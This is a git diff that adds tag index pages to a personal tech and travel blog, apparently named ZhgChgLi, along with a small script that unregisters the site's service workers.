diff --git a/tags/open-house/index.html b/tags/open-house/index.html new file mode 100644 index 0000000000..e2fbe79ba1 --- /dev/null +++ b/tags/open-house/index.html @@ -0,0 +1 @@ + open-house | ZhgChgLi
diff --git a/tags/open-source/index.html b/tags/open-source/index.html new file mode 100644 index 0000000000..6c95a45168 --- /dev/null +++ b/tags/open-source/index.html @@ -0,0 +1 @@ + open-source | ZhgChgLi
diff --git a/tags/osaka/index.html b/tags/osaka/index.html new file mode 100644 index 0000000000..fd0124153a --- /dev/null +++ b/tags/osaka/index.html @@ -0,0 +1 @@ + osaka | ZhgChgLi
diff --git a/tags/password-security/index.html b/tags/password-security/index.html new file mode 100644 index 0000000000..0c25deb741 --- /dev/null +++ b/tags/password-security/index.html @@ -0,0 +1 @@ + password-security | ZhgChgLi
diff --git a/tags/paywall/index.html b/tags/paywall/index.html new file mode 100644 index 0000000000..874796102f --- /dev/null +++ b/tags/paywall/index.html @@ -0,0 +1 @@ + paywall | ZhgChgLi
diff --git a/tags/peach/index.html b/tags/peach/index.html new file mode 100644 index 0000000000..6c3f3cad74 --- /dev/null +++ b/tags/peach/index.html @@ -0,0 +1 @@ + peach | ZhgChgLi
diff --git a/tags/php/index.html b/tags/php/index.html new file mode 100644 index 0000000000..a1bce008bc --- /dev/null +++ b/tags/php/index.html @@ -0,0 +1 @@ + php | ZhgChgLi
diff --git a/tags/pinkoi/index.html b/tags/pinkoi/index.html new file mode 100644 index 0000000000..441329837c --- /dev/null +++ b/tags/pinkoi/index.html @@ -0,0 +1 @@ + pinkoi | ZhgChgLi
diff --git a/tags/post/index.html b/tags/post/index.html new file mode 100644 index 0000000000..261b2289c7 --- /dev/null +++ b/tags/post/index.html @@ -0,0 +1 @@ + post | ZhgChgLi
diff --git a/tags/privacy/index.html b/tags/privacy/index.html new file mode 100644 index 0000000000..25d22cb93d --- /dev/null +++ b/tags/privacy/index.html @@ -0,0 +1 @@ + privacy | ZhgChgLi
diff --git a/tags/private-relay/index.html b/tags/private-relay/index.html new file mode 100644 index 0000000000..21c6e44745 --- /dev/null +++ b/tags/private-relay/index.html @@ -0,0 +1 @@ + private-relay | ZhgChgLi
diff --git a/tags/project-management/index.html b/tags/project-management/index.html new file mode 100644 index 0000000000..a3f2ff1939 --- /dev/null +++ b/tags/project-management/index.html @@ -0,0 +1 @@ + project-management | ZhgChgLi
diff --git a/tags/push-notification/index.html b/tags/push-notification/index.html new file mode 100644 index 0000000000..344c294585 --- /dev/null +++ b/tags/push-notification/index.html @@ -0,0 +1 @@ + push-notification | ZhgChgLi
diff --git a/tags/python/index.html b/tags/python/index.html new file mode 100644 index 0000000000..734b210ecf --- /dev/null +++ b/tags/python/index.html @@ -0,0 +1 @@ + python | ZhgChgLi
diff --git a/tags/refactoring/index.html b/tags/refactoring/index.html new file mode 100644 index 0000000000..1301867745 --- /dev/null +++ b/tags/refactoring/index.html @@ -0,0 +1 @@ + refactoring | ZhgChgLi
diff --git a/tags/rendering/index.html b/tags/rendering/index.html new file mode 100644 index 0000000000..d2056a4f84 --- /dev/null +++ b/tags/rendering/index.html @@ -0,0 +1 @@ + rendering | ZhgChgLi
diff --git a/tags/reverse-proxy/index.html b/tags/reverse-proxy/index.html new file mode 100644 index 0000000000..f8d6c9d3f0 --- /dev/null +++ b/tags/reverse-proxy/index.html @@ -0,0 +1 @@ + reverse-proxy | ZhgChgLi
diff --git a/tags/roboticprocessautomation/index.html b/tags/roboticprocessautomation/index.html new file mode 100644 index 0000000000..19777c290e --- /dev/null +++ b/tags/roboticprocessautomation/index.html @@ -0,0 +1 @@ + roboticprocessautomation | ZhgChgLi
diff --git a/tags/rpa-solutions/index.html b/tags/rpa-solutions/index.html new file mode 100644 index 0000000000..fe6c0d924b --- /dev/null +++ b/tags/rpa-solutions/index.html @@ -0,0 +1 @@ + rpa-solutions | ZhgChgLi
diff --git a/tags/ruby/index.html b/tags/ruby/index.html new file mode 100644 index 0000000000..d48b011796 --- /dev/null +++ b/tags/ruby/index.html @@ -0,0 +1 @@ + ruby | ZhgChgLi
diff --git a/tags/scrum/index.html b/tags/scrum/index.html new file mode 100644 index 0000000000..ce74c514ad --- /dev/null +++ b/tags/scrum/index.html @@ -0,0 +1 @@ + scrum | ZhgChgLi
diff --git a/tags/security-token/index.html b/tags/security-token/index.html new file mode 100644 index 0000000000..d8f9882de5 --- /dev/null +++ b/tags/security-token/index.html @@ -0,0 +1 @@ + security-token | ZhgChgLi
diff --git a/tags/security/index.html b/tags/security/index.html new file mode 100644 index 0000000000..f5faf659ea --- /dev/null +++ b/tags/security/index.html @@ -0,0 +1 @@ + security | ZhgChgLi
diff --git a/tags/self-hosted/index.html b/tags/self-hosted/index.html new file mode 100644 index 0000000000..3bbe5c5cab --- /dev/null +++ b/tags/self-hosted/index.html @@ -0,0 +1 @@ + self-hosted | ZhgChgLi
diff --git a/tags/shell-script/index.html b/tags/shell-script/index.html new file mode 100644 index 0000000000..2dc12905a2 --- /dev/null +++ b/tags/shell-script/index.html @@ -0,0 +1 @@ + shell-script | ZhgChgLi
diff --git a/tags/shortcuts/index.html b/tags/shortcuts/index.html new file mode 100644 index 0000000000..387af9dc39 --- /dev/null +++ b/tags/shortcuts/index.html @@ -0,0 +1 @@ + shortcuts | ZhgChgLi
diff --git a/tags/sidekick/index.html b/tags/sidekick/index.html new file mode 100644 index 0000000000..f7b569efa3 --- /dev/null +++ b/tags/sidekick/index.html @@ -0,0 +1 @@ + sidekick | ZhgChgLi
diff --git a/tags/sign-in-with-apple/index.html b/tags/sign-in-with-apple/index.html new file mode 100644 index 0000000000..0af3a12864 --- /dev/null +++ b/tags/sign-in-with-apple/index.html @@ -0,0 +1 @@ + sign-in-with-apple | ZhgChgLi
diff --git a/tags/simulator/index.html b/tags/simulator/index.html new file mode 100644 index 0000000000..66f47d1ca3 --- /dev/null +++ b/tags/simulator/index.html @@ -0,0 +1 @@ + simulator | ZhgChgLi
diff --git a/tags/siri-shortcut/index.html b/tags/siri-shortcut/index.html new file mode 100644 index 0000000000..b68807dedc --- /dev/null +++ b/tags/siri-shortcut/index.html @@ -0,0 +1 @@ + siri-shortcut | ZhgChgLi
diff --git a/tags/siri/index.html b/tags/siri/index.html new file mode 100644 index 0000000000..f099caecaf --- /dev/null +++ b/tags/siri/index.html @@ -0,0 +1 @@ + siri | ZhgChgLi
diff --git a/tags/slack/index.html b/tags/slack/index.html new file mode 100644 index 0000000000..339c381661 --- /dev/null +++ b/tags/slack/index.html @@ -0,0 +1 @@ + slack | ZhgChgLi
diff --git a/tags/slackbot/index.html b/tags/slackbot/index.html new file mode 100644 index 0000000000..a241aecc94 --- /dev/null +++ b/tags/slackbot/index.html @@ -0,0 +1 @@ + slackbot | ZhgChgLi
diff --git a/tags/small-things-matter/index.html b/tags/small-things-matter/index.html new file mode 100644 index 0000000000..a0b07b0b10 --- /dev/null +++ b/tags/small-things-matter/index.html @@ -0,0 +1 @@ + small-things-matter | ZhgChgLi
diff --git a/tags/socketio/index.html b/tags/socketio/index.html new file mode 100644 index 0000000000..8dbea62702 --- /dev/null +++ b/tags/socketio/index.html @@ -0,0 +1 @@ + socketio | ZhgChgLi
diff --git a/tags/software-development/index.html b/tags/software-development/index.html new file mode 100644 index 0000000000..e7fe442abd --- /dev/null +++ b/tags/software-development/index.html @@ -0,0 +1 @@ + software-development | ZhgChgLi
diff --git a/tags/software-engineering/index.html b/tags/software-engineering/index.html new file mode 100644 index 0000000000..9b2e3c376a --- /dev/null +++ b/tags/software-engineering/index.html @@ -0,0 +1 @@ + software-engineering | ZhgChgLi
diff --git a/tags/stars/index.html b/tags/stars/index.html new file mode 100644 index 0000000000..f4e0635f20 --- /dev/null +++ b/tags/stars/index.html @@ -0,0 +1 @@ + stars | ZhgChgLi
diff --git a/tags/strategy-pattern/index.html b/tags/strategy-pattern/index.html new file mode 100644 index 0000000000..8f42646286 --- /dev/null +++ b/tags/strategy-pattern/index.html @@ -0,0 +1 @@ + strategy-pattern | ZhgChgLi
diff --git a/tags/stripe/index.html b/tags/stripe/index.html new file mode 100644 index 0000000000..4d24ff7658 --- /dev/null +++ b/tags/stripe/index.html @@ -0,0 +1 @@ + stripe | ZhgChgLi
diff --git a/tags/swift/index.html b/tags/swift/index.html new file mode 100644 index 0000000000..b4286bc9cb --- /dev/null +++ b/tags/swift/index.html @@ -0,0 +1 @@ + swift | ZhgChgLi
Home Tags swift
Tag
Cancel
diff --git a/tags/taiwan-ios-conference/index.html b/tags/taiwan-ios-conference/index.html new file mode 100644 index 0000000000..67010c79fc --- /dev/null +++ b/tags/taiwan-ios-conference/index.html @@ -0,0 +1 @@ + taiwan-ios-conference | ZhgChgLi
diff --git a/tags/taiwan/index.html b/tags/taiwan/index.html new file mode 100644 index 0000000000..c5439c8c2e --- /dev/null +++ b/tags/taiwan/index.html @@ -0,0 +1 @@ + taiwan | ZhgChgLi
diff --git a/tags/tech-career/index.html b/tags/tech-career/index.html new file mode 100644 index 0000000000..afe937e49a --- /dev/null +++ b/tags/tech-career/index.html @@ -0,0 +1 @@ + tech-career | ZhgChgLi
diff --git a/tags/thailand/index.html b/tags/thailand/index.html new file mode 100644 index 0000000000..4ab6fcde47 --- /dev/null +++ b/tags/thailand/index.html @@ -0,0 +1 @@ + thailand | ZhgChgLi
diff --git a/tags/tokyo-disneysea/index.html b/tags/tokyo-disneysea/index.html new file mode 100644 index 0000000000..b4ff555d8b --- /dev/null +++ b/tags/tokyo-disneysea/index.html @@ -0,0 +1 @@ + tokyo-disneysea | ZhgChgLi
diff --git a/tags/tokyo/index.html b/tags/tokyo/index.html new file mode 100644 index 0000000000..e42f28f889 --- /dev/null +++ b/tags/tokyo/index.html @@ -0,0 +1 @@ + tokyo | ZhgChgLi
diff --git a/tags/toolkit/index.html b/tags/toolkit/index.html new file mode 100644 index 0000000000..cc592ddf20 --- /dev/null +++ b/tags/toolkit/index.html @@ -0,0 +1 @@ + toolkit | ZhgChgLi
diff --git a/tags/travel-writing/index.html b/tags/travel-writing/index.html new file mode 100644 index 0000000000..82ee42b7ba --- /dev/null +++ b/tags/travel-writing/index.html @@ -0,0 +1 @@ + travel-writing | ZhgChgLi
diff --git a/tags/travel/index.html b/tags/travel/index.html new file mode 100644 index 0000000000..f45b14ea98 --- /dev/null +++ b/tags/travel/index.html @@ -0,0 +1 @@ + travel | ZhgChgLi
diff --git a/tags/traveling/index.html b/tags/traveling/index.html new file mode 100644 index 0000000000..21bda4366d --- /dev/null +++ b/tags/traveling/index.html @@ -0,0 +1 @@ + traveling | ZhgChgLi
diff --git a/tags/ui-testing/index.html b/tags/ui-testing/index.html new file mode 100644 index 0000000000..677dc83add --- /dev/null +++ b/tags/ui-testing/index.html @@ -0,0 +1 @@ + ui-testing | ZhgChgLi
diff --git a/tags/uikit/index.html b/tags/uikit/index.html new file mode 100644 index 0000000000..a04ec9f490 --- /dev/null +++ b/tags/uikit/index.html @@ -0,0 +1 @@ + uikit | ZhgChgLi
diff --git a/tags/uitableview/index.html b/tags/uitableview/index.html new file mode 100644 index 0000000000..9ad27bdd27 --- /dev/null +++ b/tags/uitableview/index.html @@ -0,0 +1 @@ + uitableview | ZhgChgLi
diff --git a/tags/uitextview/index.html b/tags/uitextview/index.html new file mode 100644 index 0000000000..411fcbcd32 --- /dev/null +++ b/tags/uitextview/index.html @@ -0,0 +1 @@ + uitextview | ZhgChgLi
diff --git a/tags/uiviewcontroller/index.html b/tags/uiviewcontroller/index.html new file mode 100644 index 0000000000..48f78f4877 --- /dev/null +++ b/tags/uiviewcontroller/index.html @@ -0,0 +1 @@ + uiviewcontroller | ZhgChgLi
diff --git a/tags/unboxing/index.html b/tags/unboxing/index.html new file mode 100644 index 0000000000..35ecd20bb6 --- /dev/null +++ b/tags/unboxing/index.html @@ -0,0 +1 @@ + unboxing | ZhgChgLi
diff --git a/tags/unit-testing/index.html b/tags/unit-testing/index.html new file mode 100644 index 0000000000..d0bfec099a --- /dev/null +++ b/tags/unit-testing/index.html @@ -0,0 +1 @@ + unit-testing | ZhgChgLi
diff --git a/tags/universal-links/index.html b/tags/universal-links/index.html new file mode 100644 index 0000000000..c1516f84da --- /dev/null +++ b/tags/universal-links/index.html @@ -0,0 +1 @@ + universal-links | ZhgChgLi
diff --git a/tags/uuid/index.html b/tags/uuid/index.html new file mode 100644 index 0000000000..581b0e32da --- /dev/null +++ b/tags/uuid/index.html @@ -0,0 +1 @@ + uuid | ZhgChgLi
diff --git a/tags/vagrant/index.html b/tags/vagrant/index.html new file mode 100644 index 0000000000..28a05626c4 --- /dev/null +++ b/tags/vagrant/index.html @@ -0,0 +1 @@ + vagrant | ZhgChgLi
diff --git a/tags/version-control/index.html b/tags/version-control/index.html new file mode 100644 index 0000000000..3422ad22c5 --- /dev/null +++ b/tags/version-control/index.html @@ -0,0 +1 @@ + version-control | ZhgChgLi
diff --git a/tags/virtualbox/index.html b/tags/virtualbox/index.html new file mode 100644 index 0000000000..14199bfea0 --- /dev/null +++ b/tags/virtualbox/index.html @@ -0,0 +1 @@ + virtualbox | ZhgChgLi
diff --git a/tags/vision-framework/index.html b/tags/vision-framework/index.html new file mode 100644 index 0000000000..7dbc9f7f79 --- /dev/null +++ b/tags/vision-framework/index.html @@ -0,0 +1 @@ + vision-framework | ZhgChgLi
diff --git a/tags/visitor-pattern/index.html b/tags/visitor-pattern/index.html new file mode 100644 index 0000000000..f1899a77dc --- /dev/null +++ b/tags/visitor-pattern/index.html @@ -0,0 +1 @@ + visitor-pattern | ZhgChgLi
diff --git a/tags/wallpaper/index.html b/tags/wallpaper/index.html new file mode 100644 index 0000000000..152d729d24 --- /dev/null +++ b/tags/wallpaper/index.html @@ -0,0 +1 @@ + wallpaper | ZhgChgLi
diff --git a/tags/wargame/index.html b/tags/wargame/index.html new file mode 100644 index 0000000000..b20131e378 --- /dev/null +++ b/tags/wargame/index.html @@ -0,0 +1 @@ + wargame | ZhgChgLi
diff --git a/tags/watchkit/index.html b/tags/watchkit/index.html new file mode 100644 index 0000000000..ef9e6f8699 --- /dev/null +++ b/tags/watchkit/index.html @@ -0,0 +1 @@ + watchkit | ZhgChgLi
diff --git a/tags/watchos/index.html b/tags/watchos/index.html new file mode 100644 index 0000000000..31df4c0df4 --- /dev/null +++ b/tags/watchos/index.html @@ -0,0 +1 @@ + watchos | ZhgChgLi
diff --git a/tags/web-credential/index.html b/tags/web-credential/index.html new file mode 100644 index 0000000000..b7d80c9bd4 --- /dev/null +++ b/tags/web-credential/index.html @@ -0,0 +1 @@ + web-credential | ZhgChgLi
diff --git a/tags/web-development/index.html b/tags/web-development/index.html new file mode 100644 index 0000000000..00c822df49 --- /dev/null +++ b/tags/web-development/index.html @@ -0,0 +1 @@ + web-development | ZhgChgLi
diff --git a/tags/web-security/index.html b/tags/web-security/index.html new file mode 100644 index 0000000000..943974af12 --- /dev/null +++ b/tags/web-security/index.html @@ -0,0 +1 @@ + web-security | ZhgChgLi
diff --git a/tags/website-security-test/index.html b/tags/website-security-test/index.html new file mode 100644 index 0000000000..b4f20140a9 --- /dev/null +++ b/tags/website-security-test/index.html @@ -0,0 +1 @@ + website-security-test | ZhgChgLi
diff --git a/tags/websocket/index.html b/tags/websocket/index.html new file mode 100644 index 0000000000..30d07ae5b6 --- /dev/null +++ b/tags/websocket/index.html @@ -0,0 +1 @@ + websocket | ZhgChgLi
diff --git a/tags/webview/index.html b/tags/webview/index.html new file mode 100644 index 0000000000..f9aafefb88 --- /dev/null +++ b/tags/webview/index.html @@ -0,0 +1 @@ + webview | ZhgChgLi
diff --git a/tags/whoscall/index.html b/tags/whoscall/index.html new file mode 100644 index 0000000000..b5a6331208 --- /dev/null +++ b/tags/whoscall/index.html @@ -0,0 +1 @@ + whoscall | ZhgChgLi
diff --git a/tags/workflow-automation/index.html b/tags/workflow-automation/index.html new file mode 100644 index 0000000000..facb0d51cb --- /dev/null +++ b/tags/workflow-automation/index.html @@ -0,0 +1 @@ + workflow-automation | ZhgChgLi
diff --git a/tags/workflow/index.html b/tags/workflow/index.html new file mode 100644 index 0000000000..34f900df6a --- /dev/null +++ b/tags/workflow/index.html @@ -0,0 +1 @@ + workflow | ZhgChgLi
diff --git a/tags/writing-life/index.html b/tags/writing-life/index.html new file mode 100644 index 0000000000..fe95a3b769 --- /dev/null +++ b/tags/writing-life/index.html @@ -0,0 +1 @@ + writing-life | ZhgChgLi
diff --git a/tags/xcode/index.html b/tags/xcode/index.html new file mode 100644 index 0000000000..d5ddf5fc67 --- /dev/null +++ b/tags/xcode/index.html @@ -0,0 +1 @@ + xcode | ZhgChgLi
diff --git a/tags/xiaomi-air-purifier/index.html b/tags/xiaomi-air-purifier/index.html new file mode 100644 index 0000000000..2a49d02216 --- /dev/null +++ b/tags/xiaomi-air-purifier/index.html @@ -0,0 +1 @@ + Xiaomi Air Purifier | ZhgChgLi
diff --git a/tags/xiaomi/index.html b/tags/xiaomi/index.html new file mode 100644 index 0000000000..acd0a62812 --- /dev/null +++ b/tags/xiaomi/index.html @@ -0,0 +1 @@ + Xiaomi | ZhgChgLi
diff --git "a/tags/\347\224\237\346\264\273/index.html" "b/tags/\347\224\237\346\264\273/index.html" new file mode 100644 index 0000000000..a5025845f7 --- /dev/null +++ "b/tags/\347\224\237\346\264\273/index.html" @@ -0,0 +1 @@ + 生活 | ZhgChgLi
diff --git a/unregister.js b/unregister.js new file mode 100644 index 0000000000..20cef0de88 --- /dev/null +++ b/unregister.js @@ -0,0 +1 @@ +if ('serviceWorker' in navigator) { navigator.serviceWorker.getRegistrations().then((registrations) => { for (let reg of registrations) { reg.unregister(); } }); }